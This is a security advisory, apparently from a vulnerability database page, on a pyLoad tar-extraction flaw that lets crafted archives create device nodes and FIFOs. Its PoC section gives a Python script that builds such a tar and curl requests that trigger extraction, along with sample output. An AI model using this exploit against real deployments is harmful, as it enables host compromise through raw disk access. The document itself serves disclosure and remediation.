pyLoad: Tar extraction creates device nodes and FIFOs (member types not filtered; tarfile extractall without filter=)
Summary
UnTar._safe_extractall — the hardening added for GHSA-mvwx-582f-56r7 — validates member
names and symlink/hardlink targets, but never checks member types, and calls
tarfile.extractall without a filter=. On Python < 3.14 the default extraction filter is
fully_trusted, so a crafted tar containing device or FIFO entries makes pyLoad create
them on disk. When pyLoad runs as root (the official Docker deployment), a block-device
member grants raw disk access — full host compromise — reachable by any low-privileged user
who can trigger archive extraction (ADD to supply an archive, STATUS to invoke
ExtractArchive.extract_package).
Details
# plugins/extractors/UnTar.py:69-79
for member in tar.getmembers():
if not is_within_directory(...) or <symlink/hardlink target checks>: # names/links only
raise ArchiveError(...)
tar.extractall(path, members, numeric_owner=numeric_owner) # no filter=
No member.isdev() / ischr() / isblk() / isfifo() check exists, and the pre-validation
in plugins/base/extractor.py:191-263 is likewise name-only. Python's tarfile only defaults
to a safe filter in 3.14; supported runtimes (3.9–3.13) honor mknod for euid=0 and create
FIFOs for any euid.
PoC
BASE=http://127.0.0.1:8100
# craft a tar with: regular marker.txt + a CHRTYPE member (major=1,minor=3) + a FIFOTYPE member
python3 - <<'EOF'
import tarfile, io
t = tarfile.open('dev.bin','w') # name it *.bin so UnTar (content-sniffed) claims it
t.addfile(tarfile.TarInfo('marker.txt'), io.BytesIO(b'MARKER'))
i = tarfile.TarInfo('nulldev'); i.type = tarfile.CHRTYPE; i.devmajor=1; i.devminor=3; i.mode=0o666
t.addfile(i)
f = tarfile.TarInfo('pipe'); f.type = tarfile.FIFOTYPE
t.addfile(f); t.close()
EOF
# as a low-priv user (ADD|STATUS): add a package, place the archive in its download folder,
# then trigger extraction
curl -s -X POST "$BASE/api/add_package" -b ed.jar -H "X-CSRFToken: $T" \
-H 'Content-Type: application/json' -d '{"name":"poc","links":["http://x/dev.bin"],"dest":1}'
curl -s -X POST "$BASE/api/service_call" -b ed.jar -H "X-CSRFToken: $T" \
-H 'Content-Type: application/json' \
-d '{"service_name":"ExtractArchive.extract_package","arguments":["<pid>"]}'
ls -l <extract dir>
# → crw-rw-rw- 1 root root 1, 3 nulldev (character device created)
# → prw-r--r-- 1 root root pipe (FIFO created)
# → -rw-r--r-- 1 root root marker.txt
Negative control: the same flow with a ../evil traversal member is rejected
(ArchiveError: Attempted path traversal in archive) and nothing is extracted — the
GHSA-mvwx name filter works; the gap is member-type-specific. (Note: when the 7z binary
is present, .tar-named files are claimed by SevenZip first by extension; the UnTar path is
reached via non-mapped names — as above — content-sniffed containers, or when 7z is
absent/fails.)
Impact
With pyLoad as root, a crafted archive can create block/character device nodes at arbitrary paths (raw disk read/write → host compromise), plant FIFOs (process hangs, IPC confusion), or set special bits; non-root deployments still get FIFOs and node entries in user-accessible trees.
Remediation
In _safe_extractall, reject (or skip) every member that is not a regular file, directory,
or safe link — e.g. member.isdev() or isfifo() → ArchiveError — and pass
filter="data" (Python ≥ 3.12 supports it; backport the check for older runtimes). Apply
the same member-type validation in the pre-extraction validator so all extractors share it.
References
- GHSA-mvwx-582f-56r7 — the tar path-traversal fix this extends (names/links validated, member types not).
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | pyload-ng | <= 0.5.0b3.dev101 | no fix |
References
- CVSS vector
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N- Weakness (CWE)
CWE-22- Platform
- Python (PyPI)
- Package
pyload-ng- Disclosed
- 09.10.2026
- Updated
- 11.10.2026 15:18
Sources and licenses
OSV / GitHub Advisory Database - GHSA-fr26-jjhm-638c - CC BY 4.0
Vulnerability history: pyload-ng
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 58
- First → latest
- 01.2023 10.2026
- Without a fix
- 24
- Exploited in attacks
- 0
Severity breakdown
- Critical 9
- High 23
- Medium 25
- Low 1
Disclosures per year
- 2023: 9
- 2024: 8
- 2025: 8
- 2026: 33
-
pyLoad: Tar extraction creates device nodes and FIFOs (member types not filtered; tarfile extractall without filter=) this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.